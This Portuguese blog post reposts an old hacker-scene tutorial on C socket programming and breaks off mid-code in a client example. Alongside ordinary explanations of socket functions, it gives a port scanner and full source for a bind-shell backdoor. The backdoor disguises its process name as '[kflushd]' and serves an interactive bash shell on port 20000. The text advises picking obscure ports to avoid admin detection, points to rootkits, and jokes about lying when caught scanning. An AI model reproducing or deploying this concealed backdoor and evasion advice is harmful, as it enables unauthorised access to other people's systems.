Pages

sexta-feira, 12 de abril de 2013

0
Tutorial sobre Sockets

Galera eu estava verificando minha pasta de apostilas e tutoriais e encontrei essa raridade perdida no meio de tantos documentos e resolvi colocar no 4shared pra vcs mais o mesmo esta off então colei na postagem msm.

Tutorial:

-------------------------- FASE I - O PARTO -------------------------
---------------------------------------
*** SOCKETS - O QUE SAO E P/ Q SERVEM! |
---------------------------------------

Nao vou me aprofundar descrevendo a origem e a necessidade do surgimento
dos sockets..vamos agir de forma pratica,mas teoria sempre é bom, peskise
se tiver tempo, pois esse assunto é fascinante.
Os sockets sao os programas responsaveis pela comunicação ou interligação
de outros programas na internet, por exemplo.Quando você se conecta a um
servico qualquer tipo(telnet) você está usando um socket, no caso chama-se
a rotina socket() como cliente do teu lado..e do lado do host com servico
uma rotina de socket servidor.Acredito se chegou até akí é pq já sabe
disso tudo, e quer ir mais alem. De forma pratica, quando você executa
um exploit remoto,vc usa um socket, quando vc cria um trojan remoto, usa-se
um socket, quando vc captura pacotes externamente vc usa um socket, etc....

----------------------
*** TIPOS DE SOCKETS! |
----------------------

Existe alguns tipos de sockets,mas por enquanto vamos nos ater apenas a 2,
os dois mais simples..de modo que se vc kiser ir mais alem e escrever
programas que se utilizem de RAW SOCKETS, paciencia irmao, ainda não é
dessa vez que escreveremos para vc. Os tipos de sockets que iremos trabalhar
sao os "Stream Sockets" e os "Datagram Sockets", eles também sao conhecidos
como "SOCK_STREAM" e "SOCK_DGRAM", respectivamente.
+ Stream Sockets usam TCP, sao usados em diversar aplicações como telnet,www,
etc.Os pacotes aqui sao sequenciais, seguem em 2 vias,você pode ler e gravar.
+ Datagrams Sockets usam UDP.Os pacotes aqui não sao sequenciais,opera em
1 via,você só pode ler ou gravar,nunca as 2 coisas.

A utilidade pratica de cada um deles você verá logo em breve.Outros
tipos conhecidos de sockets sao: SOCK_SEQPACKET e SOCK_RDM, veremos mais
sobre esses daí num futuro txt.

-------------
*** HEADERS  |
-------------

Existem alguns headers usados em conjunto para facilitar ao maximo a programação
de sockets..Eis alguns akí:

#include
#include
#include
#include

Lembre-se:"Dependendo da situação você poderá necessitar de mais headers.
           Por isso amigo,as man pages sempre serão suas amigas. Antes de
           usar uma função,leia a respectiva man page da mesma."

----------------------------
*** DECLARANDO UM SOCKET!   |
----------------------------
P/ se declarar um socket não tem muito segredo.Ele é do tipo int, declara-se
normalmente.Ex:
main(){
int Meusocket;
...
}
-------------------------
*** DEFININDO ESTRUTURA  |
-------------------------

Os dados necessarios do host a que se ker comunicar, sao definidos atraves
de uma struct.A struct usada para conexões na internet é a sockaddr_in, e
possui a seguinte declaração:

struct sockaddr_in {
        short int sin_family;         /* Familia do endereco */
        unsigned short int sin_port;  /* Numero da porta */
        struct in_addr sin_addr;      /* IP do Host */
        unsigned char sin_zero[8];    /* Zera a estrutura, algum espaco como
                                         struct sockaddr */
        }



sin_family pode ser uma variedade de coisas, mas geralmente se usam uma
dessas aqui:

+ AF_INET      (ARPA INTERNET PROTOCOLS) - "A mais usada"
+ AF_UNIX      (UNIX INTERNET PROTOCOLS)
+ AF_ISO       (ISO PROTOCOLS)
+ AF_NS        (XEROX NETWORK SYSTEM PROTOCOLS)


Ai ficaria algo como:
main(){
int Meusocket;
struct sockaddr_in vitima;
..
}

---------------------------
*** CONSTRUINDO UM SOCKET  |
---------------------------
Bem podemos dar inicio na pratica a contrução de um socket.A Contrução de
um socket segue o modelo:
Meusocket = socket(sin_family, tipo_do_socket_desejado,Numero_protocolo);

Onde:
sin_family sao essas já explicadas acima;
tipo_do_socket_desejado, no nosso caso SOCK_STREAM ou SOCK_DGRAM;
Numero_protocolo é o número correspondente do protocolo q se vai
trabalhar,ex:

  0 - IP - INTERNET PROTOCOL
  1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
  2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
  3 - GGP - GATEWAY-GATEWAY PROTOCOL
  6 - TCP - TRANSMISSION CONTROL PROTOCOL
  17 - UDP - USER DATAGRAMA PROTOCOL

Um exemplo pratico seria:

main(){
int Meusocket; /* Declarando a variavel socket */
..
Meusocket = socket(AF_INET,SOCK_STREAM,0);
..
}

Feito a declaração e a contrução do arquivo socket, nos seguimos adiantes
contruindo a struct com dados do host que se deseja, nosso caso a vitima.
Ficaria um esquema igual a esse:

struct sockaddr_in vitima;
vitima.sin_family = AF_INET /* Nossa sin_family no exemplo acima */
vitima.sin_porta = htons(PORTA) /* Aqui o esquema é o seguinte:
                                 htons significa "host to network short", como
                                 é short trabalha com 2 bytes,mas ha ainda
                                 outros tipos como: htonl("host to network
                                 long",4 bytes), ntós("network to host
                                 short",2 bytes), ntól("network to host
                                 long", 4 bytes). */

vitima.sin_addr.s_addr = inet_addr(ip_da_vitima);/*Aqui ocorre a aquisição do
                                                endereco ip da vitima, como na
                                                declaração acima em struct
                                                sockaddr_in, aqui é somente o
                                                ip, não ainda o dominio */

bzero(&(vitima.sin_zero),8); /* Zera o resto da estrutura */

Vamos ver agora como de fato está nosso exemplo inicial:

/* acrescente os headers necessarios */

main(){
int Meusocket;
struct sockaddr_in vitima;

Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket");
exit(1);
}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}

Vamos caminhando mais a frente, já temos declarado e construido o arquivo
socket, no caso Meusocket, e a struct de conexão, no caso a vitima.Agora
vamos para uma função muito usada na conexão, a função connect(), que fará
o elo entre o "Meusocket" e a "vitima".

------------------------
*** A função CONNECT()  |
------------------------

Essa é a conhecida função responsavel pela conexão telnet(essa que muita
gente usa para fins nada convencionais).Essa função,como o proprio nome, diz
é a função responsavel pela conexão de seu socket cliente, com um servico
servidor qualquer.

Os headers necessarios para o uso dessa função sao:
#include
#include

Uma vez declarado os headers..vamos declarar a função propriamente dita:

int connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));

De forma bem pratica,declaramos a função connect(),onde:

+ Meusocket -> nosso arquivo socket.
+ vitima -> O host que queremos conectar(struct).

Como podemos ver, não é tao complicado assim..fazer o dito cujo,mas
se já chegamos até aqui,podemos mostrar um exemplo pratico de tudo
que foi escrito aí em cima..mas calma,primeiro veremos como ficou nosso
programa por inteiro.


/* headers necessarios */
#include
#include
#include
#include

main(){
        int Meusocket;
        struct sockaddr_in vitima;
        int Conector;

        Meusocket = socket(AF_INET,SOCK_STREAM,0);
        if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
        {
               perror("Socket");
               exit(1);
        }

        vitima.sin_family = AF_INET;
        vitima.sin_port = htons(31337);
        vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
        bzero(&(vitima.sin_zero),8);

        Conector = connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));
        if(Conector < 0) /* Mais uma checagem de erro */
        {
               perror("Connect");
               exit(1);
        }
}

Voce agora deve estar se perguntando,se já sei como declarar um socket(),
sei fazer a struct da vitima, e também já sei me conectar em alguma coisa
entao, o que posso eu fazer com isso tudo?? Calma amigo..abaixo segue umas
bobagens a mais,mas com o basico aí em cima você já pode fazer muita
coisa... Ha quem diga que não..mas vamos lá.

------------------------------------------------
*** ALGUMAS BOBAGENS P/ MOSTRAR EXEMPLO PRATICO |
------------------------------------------------
Segue agora algumas função que não não necessarias,mas que vao ajudar
a "embelezar" o exemplo que se seguirá, para que não haja duvidas quanto
o conhecimento do autor, e visando o esclarecimento de algumas coisa que
de fato sao uteis.

+ função gethostbyname();
-------------------------

Por frescurite ou não,as vezes você quer ao inves de digitar o ip da
vitima(host que se quer conectar ou etc), você quer digitar seu domain.
Exemplo: ao inves de digitar 127.0.0.1 você prefere digitar localhost.
Muitas aplicações seguem esse esquema..bem, para que isso possa ocorrer,
como estamos trabalhando com C, usamos uma função chama gethostbyname(),
essa função é declarada da seguinte forma:

#include /* Talvez haja variação desse header, bom dar um man
                      gethostbyname para se certificar,mano!! */

struct hostent *  gethostbyname(char *name);

Como se pode ver ele retorna um ponteiro para uma struct que possui a
seguinte declaração:

#define h_addr  h_addr_list[0]  /* endereco, para combatibilizar
                                   o modo inverso(reverso) */

struct  hostent {
                   char    *h_name;        /* Nome oficial do host */
                   char    **h_aliases;    /* Lista de aliases */
                   int     h_addrtype;     /* Tipo de endereco do host */
                   int     h_length;       /* Tamanho do endereco */
                   char    **h_addr_list;  /* Lista de enderecos do
                                                servidor de nomes */
                };

Vamos analisar agora cada membro da estrutura:

h_name  -> Nome oficial do host.

h_aliases -> Uma array terminada em zero de nomes alternados para o host.

h_addrtype -> O tipo do endereco que está sendo retornado.Ex: AF_INET.

h_length  -> O Tamanho em bytes do endereco.

h_addr_list -> Uma array terminada em zero do endereco da rede para o host.
               O endereco do Host é retornado em nbo(network byte order).

e a definição:

h_addr  -> Eh o primeiro endereco em h_addr_list; Isto é para
           compatibilizar o modo inverso,ou a inversao.Quando você digita
           localhost saber que é 127.0.0.1, por exemplo.




+ função getservbyport();
------------------------

O proprio nome também já denuncia essa daí. Essa função envia ou diz
para você qual o servico que está rodando numa determinada porta,usando
como referencia o seu arquivo /etc/services. Eh bo manter esse arquivo
integro,senão receberá resultados errados no exemplo que logo seguirá.
Mas vamos lá, a função getservbyport() segue declarada desse jeito:

#include /* Header necessario..lembre-se, man pages */

struct servent *getservbyport(int port, const char *proto);

A estrutura servent é definida da seguinte forma em :

struct servent {
                      char    *s_name;     /* Nome oficial do servico */
                      char    **s_aliases; /* Lista de aliases */
                      int     s_port;      /* Numero da porta */
                      char    *s_proto;    /* Protocolo para usar */
               }

analizando:

s_name  -> Nome oficial do servico. Ex: ftp,telnet,echo.

s_aliases -> Um lista terminada em zero de nomes alternativos para o
             servico.

s_port -> O número da porta referente ao servico, dado em NBO(Network
          Byte Order)

s_proto  -> O nome do protocolo para usar com este servico.

------------------------------
*** PRIMEIRO EXEMPLO PRATICO  |
------------------------------

Bem, com as instruções acima, já podemos fazer algumas coisinhas,a
utilidade varia conforme o cerebro que está usando as informações
acima ditas. Abaixo segue um exemplo de um portscan, que scaneia usando
a função connect(). Esse metodo é muito usado ainda, mas não é um bom
método, pois é de fácil detecção. Mas pela facilidade com que se escreve
um programa desse tipo,será nosso primeiro exemplo, mais a frente nós
veremos coisas mais úteis, e mais complexas.Esse portscan serve somente
para serviços tcp, pois usa SOCK_STREAM, já explicado acima.

-----------------------Exemplo de portscan-------------------------------

/* Simples PortScan usando a função connect().
   Desenvolvido por Nash Leon. Unsekurity Team.
   Thanks Ramona.
   compila com: $ gcc -o portscan portscan.c
   ou como bem quiser.
*/

/* Headers necessarios */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include


/* Definição das portas(inicial e final) caso estas não sejam
   digitadas na linha de comando */

#define PORTA_INICIAL              1
#define PORTA_FINAL             7000


main(int argc, char *argv[])
        {
        char host[15], *ip;
        int porta_inicial, porta_final, portas, i,meusocket;
        struct sockaddr_in vitima;
        struct hostent *he;
        struct servent *servico;
        if (argc == 1)
        {
                fprintf(stderr,"**********************************************************\n");
               fprintf(stderr,"*************Simples PortScan usando Connect()************\n");
               fprintf(stderr,"****************Desenvolvido por Nash Leon****************\n");
                fprintf(stderr,"**********************************************************\n");
               fprintf(stderr,"Uso: %s \n",argv[0])
               ;exit(0);
        }

        if (argc > 1)
        {
               porta_inicial = PORTA_INICIAL;
               porta_final = PORTA_FINAL;
        }
        if (argc > 2)
        {
               porta_inicial = atoi (argv[2]);
               porta_final = atoi (argv[3]);
        }

        /* Aqui tem inicio o scaneamento, comecando a contagem com porta_inicial
           e terminando em porta_final */

        for (portas = porta_inicial; portas < porta_final; portas++){

               /* Declaração de gethostbyname */
       
               he = gethostbyname(argv[1]);
               if(he == NULL)
               {
                       printf("Erro: Host Desconhecido!!\n");
                       exit(-1);
               }
       
               /* Declaração do arquivo socket */
       
               meusocket = socket(AF_INET, SOCK_STREAM,0);
       
               if(meusocket < 0)
               {
                       perror("Socket");
                       exit(1);
               }
               /* Abaixo a declaração da estrutura da vitima */
       
               vitima.sin_family = he->h_addrtype; /* Tipo do endereco retornado,no caso AF_INET. */
               vitima.sin_port = htons(portas);
               vitima.sin_addr = *((struct in_addr *)he->h_addr); /* P/ compatibilizar o processo inverso */
               bzero(&(vitima.sin_zero), 8);
       
               /* função connect(), ela vai se conectar a porta do host vitima, se
                  receber uma resposta negativa, no caso (-1), ela fecha o socket, mas
                  como estamos dentro de um processo for, abrira outro socket com outra
                  porta, e quando a resposta da vitima for positiva (0), seguira a
                  diretiva else abaixo. */
       
               if(connect(meusocket,(struct sockaddr * )&vitima, sizeof(vitima)) == -1)
               {
                       close(meusocket);
               }
       
               /* Aqui temos getservbyport nos dizendo qual servico corresponde a porta
                  que foi encontrada aberta.Se servico for igual a NULL, teremos
                  "Desconhecido como saida, senão, ele nos dirá o servico,baseado em
                  nosso /etc/services */
       
               else
               {
                       servico = getservbyport(htons(portas),"tcp");
                       printf("A porta %d esta aberta mano!! O Servico é [%s]\n",portas,(servico == N
                       ULL) ? "Desconhecido" : servico-> s_name);
               }
               close(meusocket);
        }
}

---------------------fim do primeiro exemplo-----------------------------
OBS: Bem amigo, não é aconselhável você usar esse programa descrito acima
     para outros propósitos, a não ser aprender a construir e trabalhar com
     sockets. Primeiro, não tenho certeza, mas scanear uma rede deve ser
     ilegal, vai aí um toque, qualquer coisa digam: "Um amigo disse que
     era administrador da rede e pediu para eu scanear a rede para ele,pois
     ele não tinha scanner! -Mas que amigo? -Um que conheci no irc!! :)";
     Segundo, existem ferramentas melhores e bem mais poderosas que essa,
     tais como nmap, queso, etc... que já vem prontinhas para esses fins;
     Terceiro, com o aumento dos sistemas de detecção, com o advento de bons
     firewalls, e com a "capacitação" do pessoal da seguranca, essa
     técnica descrita acima não é nada boa. Mais embaixo veremos algumas
     ferramentas e teorias mais interessantes. Pegue o conceito, um dia
     você talvez terá que fazer seu próprio scanner stealph (que não se
     deixa logar, invisível).

Vamos seguindo em frente nessa jornada em busca de coisas mais práticas
nos nossos dias. Chegamos na fase 2 do nosso jogo com sockets, essa fase
é interessante, se você tem muitos neurônios, não hesite em queimá-los,
mas se só tiver o tico-e-teco, como eu,:), aí vai umas coisinhas que
aprendi botando os 2 para trabalhar. Depois seguirá outro exemplo prático
com as declarações abaixo:

----------------------- FASE 2 - ENGATINHANDO --------------------------
*** A função bind() |

Une um nome ao seu socket.
De modo bem prático, essa função serve para associar uma porta em sua
máquina local para o seu socket. Essa função é muito usada com outra
função, a listen(), mais na frente veremos algo sobre essa função.
A função bind() é muito usada em servidores, socket servidor.
Veremos agora como é declarada essa função:

/* Headers necessários, veja man bind() */
#include
#include

int bind(int Meusocket, struct sockaddr *local, int addrlen);

onde:

+ Meusocket -> Nosso velho conhecido, o mesmo dos casos anteriores.
+ local       -> O esquema aqui é o seguinte, ao invés de declarar
                  como sendo vítima, declararemos como o endereço
                  local, não o remoto. a estrutura será toda voltada
                  para a máquina local, onde vai ser executado o programa.

+ addrlen -> Tamanho do tipo da estrutura que está se trabalhando,
             geralmente usa-se sizeof(struct sockaddr).


Eis o básico dessa função. Abaixo segue um exemplo de declaração da mesma
dentro de um programa qualquer:

/* Headers */
#include
#include
#include

#define MINHA_PORTA     20000
main(){
        int Meusocket;
        struct sockaddr_in meu_endereco;

        Meusocket = socket (AF_INET,SOCK_STREAM,0);
        local.sin_family = AF_INET;
        local.sin_port = htons(MINHA_PORTA);
        local.sin_addr.s_addr = inet_addr("200.100.100.1");
        bzero(&(local.sin_zero),8);

        bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));
...
}

Podemos notar que a declaração é semelhante ao esquema do primeiro caso,
onde ao invés de meu_endereco, nós tinhamos vítima. Para nossos objetivos
meu_endereco refere-se ao endereço local, da makina onde se executa o
programa, e vítima se refere a um endereço remoto. Veremos mais adiante
que o que eu disse aí pode confundir, pois depende do modo como se vê as
coisas, fique atento e não terá problemas. Leve em consideração apenas
os processos cliente e servidor, acho que assim é melhor..:).
----------------------
*** A FUNÇÃO listen() |
----------------------
Essa função também não tem nada demais. O seu nome também já diz o porque
de se usar ela. Ela escuta ou melhor dizendo, espera uma determinada
conexão em um socket. Para aceitar uma conexão, um socket é primeiro criado
usando a função socket(), após a criação do mesmo, a função listen() entra
para setar o número de conexões que serão permitidas para determinado serviço.
Um exemplo prático disso é o uso de ftps que permitem até 20 conexões
por exemplo. Você entra e recebe uma mensagem tipo: "Voce é o #5 usuário
de 20!", coisa desse tipo. A função listen() é muito usada em servidores
haja visto essa necessidade, mas existem outras utilidades também para ela
que são úteis para os nossos propósitos. Veremos isso depois.
A função listen() é declarada da seguinte forma:

/* Header */

#include

int listen(int Meusocket, int backlog);

onde:
+ Meusocket -> Nosso amigo de novo,o mesmo de sempre.
+ backlog  -> backlog é um número inteiro responsável pelo total
              de conexões que serão permitidas para o serviço. Muitos
              sistemas limitam esse número até 20, você pode ficar
              limitado de 5 a 10. As conexões futuras ficarão esperando
              até que o servidor aceite, para isso usa-se a função
              accept(), que explicaremos mais abaixo.

Como iremos permitir mais de uma conexão, se faz necessário que declaremos
um outro socket() que será o responsável pelas futuras requisições de
conexão. Poderiamos deixar para definir com a função accept(), porque esse
novo socket só será aceito após o primeiro, mas em todo caso, ele já vai
declarado abaixo para facilitar as coisas.
Um esquema prático para a nossa função listen, seria usá-la em conjunto com
a função bind() descrita acima. Ficaria assim:

/* Headers */
#include
#include
#include

#define MINHA_PORTA 20000
main(){

int Meusocket;
int NovoSocket;/* Este espera a vez dele, listen o enumerará para que faça
                a conexão depois */
struct sockaddr_in local;

/* Declaração de Meusocket e da estrutura que fechará a conexão
   no caso "local" */
       
Meusocket = socket (AF_INET,SOCK_STREAM,0);
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));

listen(Meusocket,5);
...
}

Bem, nosso exemplo é só demonstrativo, para irmos com calma, não dá para
fazer muita coisa com isso daí, mas veremos agora uma outra função
muito importante muito usada em sockets servidores.
-----------------------
*** A função accept()  |
-----------------------
Essa função também não tem muito segredo, ela é a função responsável
por aceitar uma conexão em um socket. Um socket cliente pede permissão
para um socket servidor para que ambos se comuniquem, essa função será a
que decidirá o futuro da conexão, se aceita ou rejeita.
Vamos a declaração dela:

/* Headers */
#include
#include

int   accept(int Meusocket,  struct  sockaddr  *remoto,socklen_t *remotolen);

onde:

+ Meusocket -> É o socket do servidor, o nosso exemplo das seções acima.
+ remoto    -> Aqui o esquema é o seguinte, será o endereço remoto, como
               nós estamos fazendo o papel de servidor, esse dito cujo seria
               o cliente no caso. Poderia se referir a ele também como remoto,
               já que a estrutura que declaramos é a local.
+remotolen  -> É o tamanho da estrutura que se está trabalhando.
               Trabalharemos com sockaddr_in, logo seria
               sizeof(struct sockadd_in).

Veremos como ficaria o esquema de um simples socket servidor agora:

/* Headers */
#include
#include
#include
#include
#include

/* Segue definição da porta e do número de conexões que serão
   permitidas a mesma, chamada aqui de BACKLOG. */

#define   MINHA_PORTA   20000
#define   BACKLOG       5

main(){

        int Meusocket, Novosocket;  /* listen() em Meusocket, nova conexão em
                                       Novosocket */
        struct sockaddr_in local;
        struct sockaddr_in remoto;
        int tamanho;

        bzero(&local, sizeof(local));  /* Zera a estrutura */
        local.sin_family = AF_INET;
        local.sin_port = htons(29999);
        local.sin_addr.s_addr = INADDR_ANY;/* aqui INADDR_ANY será responsável
                                            por pegar nosso endereço diretamente
                                            do próprio sistema. */
        bzero(&(local.sin_zero), 8);
       
        /* Declaração do socket() */
        Meusocket=socket(AF_INET, SOCK_STREAM, 0);
       
        /* Seguem abaixo declaração de bind() e listen() */
       
        bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr);
        listen(Meusocket, BACKLOG);
        tamanho = sizeof (struct sockaddr_in);/* Declaramos essa variavel para
                                                melhorar o algoritmo tao somente */
                                             
        while(1) /* loop essencial para accept() */
       
        /* Eis aí a função accept()
        NovoSocket = accept(Meusocket, (struct sockaddr *)&remote,&tamanho);
}

O esqueleto acima pode ser bastante útil, colocaremos abaixo um exemplo
prático das funções descritas nessa fase. Nada por enquanto de complexo,
acho que nem vai ter, programar sockets em C não é nem mesmo trabalhoso,
sim, levando em conta que escrevo para aqueles que passam noites, semanas e
meses em busca de um dia poderem achar um "furo de reportagem".

Os termos tem variado e alguns até perderam sentido, mas creio que os
pesquisadores de verdade, antes chamados "Newbies" merecem sim todo o
respeito e consideração, é para eles que vão essas linhas de texto, bem
como todos os exemplos práticos. Quanto a "Elite", como ela sempre esquece
que um dia foi igual a esses pesquisadores que acabo de mencionar, para ela,
que já possui sua mente "formada", e muitas das vezes se auto-intitula
anti-ética, nunca ví fuçador de verdade que não obeça as regras da ética,
mas de qualquer forma, enquanto essa "Elite" não se unir, a roda não vai
girar, e a seguranca sempre ficará cantando de galo, como estão hoje em dia,
tem gente que trabalha na segurança das grandes companhias e se considera
fuçador!!:)..sei onde vocês andam fuçando viu!!

Manifestos a parte, a bomba maior virá depois, vamos seguir com um
exemplo prático de um programa servidor, mais comumente chamado de
backdoor, mas pode ser também um trojan, só depende de nossos neurônios.
-----------------------------
*** SEGUNDO EXEMPLO PRÁTICO  |
-----------------------------
Esse programa copia uma shell para uma determinada porta, ele é amplamente
difundido na Internet com o nome de bindshell, mas possui muitas variações,
para propósitos educacionais eu criei uma backdoor baseada nesse programa,
de modo que tornasse mais claro o nosso aprendizado.
--------------------------Backdoor usando Socket-------------------------
/* Backdoor em Socket simples...by Nash Leon
   Thanks Ramona e  Unsekurity Team.
   nashleon@yáoo.com.br
   http://unsekurity.virtualave.net
   Compile usando:
   $gcc -o back back.c
*/

/* HEADERS */

#include
#include
#include
#include
#include
#include
#include
#include

#define MINHA_PORTA 20000 /* A porta do servidor */
#define BACKLOG        5 /* Até quantas conexões */

int main(int argc, char *argv[])
{

        int Meusocket, Novosocket, tamanho;
        struct sockaddr_in local;
        struct sockaddr_in remote;

        /* Cria um processo crianca ou menor, para não necessitar executar
           usando & */
        if(fork() == 0){

               /* Aqui segue a esperteza..se alguém der ps aux, top, ou ver os processos
                  que estao rodando verá o que está copiado abaixo, no caso [kflushd],
                  mude isso conforme o sistema onde será executada a backdoor */
       
               strcpy(argv[0], "[kflushd]");
               signal(SIGCHLD, SIG_IGN);
       
               /* Criando a estrutura local(servidor) */
       
               bzero(&local, sizeof(local));
               local.sin_family = AF_INET;
               local.sin_port = htons(MINHA_PORTA);
               local.sin_addr.s_addr = INADDR_ANY;
               bzero(&(local.sin_zero), 8);

               /* Declaração do socket(),bind() e listen() */

               Meusocket=socket(AF_INET, SOCK_STREAM, 0);
               bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
               listen(Meusocket, BACKLOG);
               tamanho = sizeof(struct sockaddr_in);
       
               /* O velho while(1) para ser usado com nosso novo accept() */
       
               while(1)
               {
                       if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho))==1)
                       {
                               perror("accept");
                               exit(1);
                       }
       
                       if(!fork())
                       {
                               close(0); close(1); close(2);
              
                               /* dup2() aqui é usado para criar uma copia de Novosocket */
              
                               dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);
              
                               /* Entao a shell é executada, nesse caso uma bash
                                  Mude-a para qualquer uma que quiser, e atenção ao
                                  parâmetro -i, nem todas aceitam shell interativa */
              
                               execl("/bin/bash","bash","-i", (char *)0);
                               close(Novosocket);
                               exit(0);
                       }
       
               }
        }
        return(0);
}
-------------------------Fim do Segundo Exemplo-------------------------
Algumas considerações a respeito do dito cujo aí de cima; Primeiro,
esse dito cujo possui uma porta 20000, pode ser usado em muitos sistemas
por usuários comuns(não-root), geralmente as portas baixas só o root
pode manipular, até a porta 1024. Até para dificultar a percepção de
admin dessa backdoor, é inteligente colocar numa porta alta,
não muito conhecida, não coloque em portas elites como 12345 ou 31337,
faça seu próprio esquema; colocarei o source depois mais interessante; Segundo
quando um cliente se conecta a essa backdoor, ele caí numa shell com
argumento -i, ou shell interativa, se não quiser ou o sistema não aceitar
esse argumento, retire-a, isso muda de sistema e de tipo de shell também;
Terceiro, esse programa não é prático, já é conhecido, muito conhecido, de
modo que é uma backdoor de fácil detecção, quando, lógico, o admin é um
cara responsável, existe muita coisa boa por aí, como backdoors em kernel
modules, em códigos fontes que lhe dão shell num simples passe de mágica
ou num simples toque de tecla :); bem como bons rootkits, alguns pouco
conhecidos capazes de tornar você "invisível" num sistema. Como todos os
exemplos aqui são de propósito puramente educacional, não nos
responsabilizamos pelo uso dos mesmos. Creio amigo, que backdoor é
pessoal, como a coisa vem "esquentando", o pessoal da segurança tem
trabalhado mais, cabe a você pensar numa backdoor sua mesmo, para
determinado sistema, uma coisa bem específica, num outro TXT, falaremos
bem mais sobre isso, por enquanto, pense, pense e pense!

Mas vamos seguindo, chega de conversa fiada, vamos para a fase 3 desse nosso
joguinho com sockets, uma fase bem interesssante e vocês saberão o porque.

-------------------- FASE III - MANDANDO BALA --------------------------
---------------------------
AS FUNÇÕES send() e recv() |
---------------------------
Como sempre, não há misterios, os próprios nomes também denunciam essas
funções. Essas duas funções são para comunicação em Stream sockets e
Datagrams sockets. A função send() é usada para enviar uma mensagem para um
socket, e consequentemente a função recv() é usada para receber dados em
um socket. A utilidade disso tudo já é bem evidente quando se manipulam
aplicações que envolvem sockets. veremos como se declara send() primeiro:

/* Headers */

#include
#include

int send(int Meusocket, const void *msg, size_t len, int flags);

onde:
+ Meusocket  -> é o bom e velho arquivo socket, nosso velho conhecido.

+ *msg       -> é um ponteiro para a mensagem que queremos enviar.

+ len        -> é o tamanho da mensagem. Se a mensagem é muito grande para
                passar atômicamente sobre o protocolo escolhido, a mensagem
                de erro EMSGSIZE é retornada, e a mensagem não é transmitida.

+ flags      -> São parâmetros adicionais,podem ser:
                #define   MSG_OOB        0x1  /* processa dados out-of-band */
               #define   MSG_DONTROUTE  0x4  /* debuga */

                O flag MSG_OOB é usado para enviar dados out-of-band em sockets
                que suportam isso (Ex. SOCK STREAM); o protocolo escolhido deve
               também suportar dados out-of-band.
                O flag MSG_DONTROUTE é usado geralmente só para diagnosticar
               programas.

Uma boa olhada nas man pages de cada função ajuda bastante, caso haja
dúvidas nisso.

Vimos a declaração da função send(), veremos agora a função recv(), ela
é similar em muitos aspectos a função send(). Veremos:

/* Headers */
#include
#include

int recv(int Meusocket, void *buf, int len, unsigned int flags);

onde:
+ Meusocket   -> é o socket para ler de outro,no caso, um socket local.

+ buf         -> Aqui é o endereço da área do buffer.

+ len         -> é o tamanho do buffer.

+ flags       -> são formados por MSG_OOB e MSG_PEEK permitindo receber dados
                 out-of-band e permitindo espiar dados que entram,
                consequentemente. Esta chamada deve ser usada somente com
                sockets do tipo SOCK_STREAM.

Abaixo seguem mais dois exemplos, estes envolvendo tudo que foi abordado
até agora. O primeiro exemplo é um simples socket servidor.
---------------------------Servidor Simples------------------------------
/* Velhos headers de sempre */

#include
#include
#include
#include
#include
#include
#include
#include

#define MINHAPORTA 20000    /* Porta que os usuarios irão se conectar*/
#define BACKLOG 10     /* Quantas conexões pendentes serão indexadas */

main()
{
        int Meusocket, Novosocket;  /* escuta em Meusocket, nova conexão
                                       em Novosocket */
        struct sockaddr_in meu_endereco;    /* informação do meu endereco */
        struct sockaddr_in endereco_dele; /* informação do endereco do conector */
        int tamanho;

        if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
               perror("socket");
               exit(1);
        }

        meu_endereco.sin_family = AF_INET;
        meu_endereco.sin_port = htons(MINHAPORTA);
        meu_endereco.sin_addr.s_addr = INADDR_ANY; /* coloca IP automaticamente */
        bzero(&(meu_endereco.sin_zero), 8);        /* Zera o resto da estrutura */

        if (bind(Meusocket, (struct sockaddr *)&meu_endereco, sizeof(struct sockaddr))== -1)
        {
               perror("bind");
               exit(1);
        }
        if (listen(Meusocket, BACKLOG) < 0)
        {
               perror("listen");
               exit(1);
        }

        while(1) {
               tamanho = sizeof(struct sockaddr_in);
               if ((Novosocket = accept(Meusocket, (struct sockaddr *)&endereco_dele,&tamanho)) < 0){
                       perror("accept");
                       continue;
               }
               printf("Servidor: chegando conexão de %s\n",inet_ntoa(endereco_dele.sin_addr));
               if (!fork()) {
                       if (send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)
                       {
                               perror("send");
                               close(Novosocket);
                               exit(0);
                       }
               }
               close(Novosocket);
               while(waitpid(-1,NULL,WNOHANG) > 0); /* Limpa o processo crianca.fork() */
        }
}
----------------------------Servidor simples------------------------------
Aí está um exemplo de um simples servidor, o que ele faz é quando alguém
se conectar a ele, ele enviará uma mensagem pela função send(), no caso
"Seja bem vindo!". Abaixo segue um esquema que um cliente simples para esse
servidor.
---------------------------Cliente Simples-------------------------------

/* Headers */

#include
#include
#include
#include
#include
#include
#include
#include

#define PORTA 20000    /* Porta para conectar */
#define MAXDATASIZE 100 /* máximo número de bytes que poderemos enviar
                           por vez */

int main(int argc, char *argv[])
{
        int Meusocket, numbytes;
        char buf[MAXDATASIZE];
        struct hostent *he;
        struct sockaddr_in seu_endereco;

        if (argc != 2) {
               fprintf(stderr,"Uso: cliente hostname\n");
               exit(1);
        }

        if ((he=gethostbyname(argv[1])) == NULL)   /* envia host info */
        {
               herror("gethostbyname");
               exit(1);
        }
        if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
               perror("socket");
               exit(1);
        }

        seu_endereco.sin_family = AF_INET;
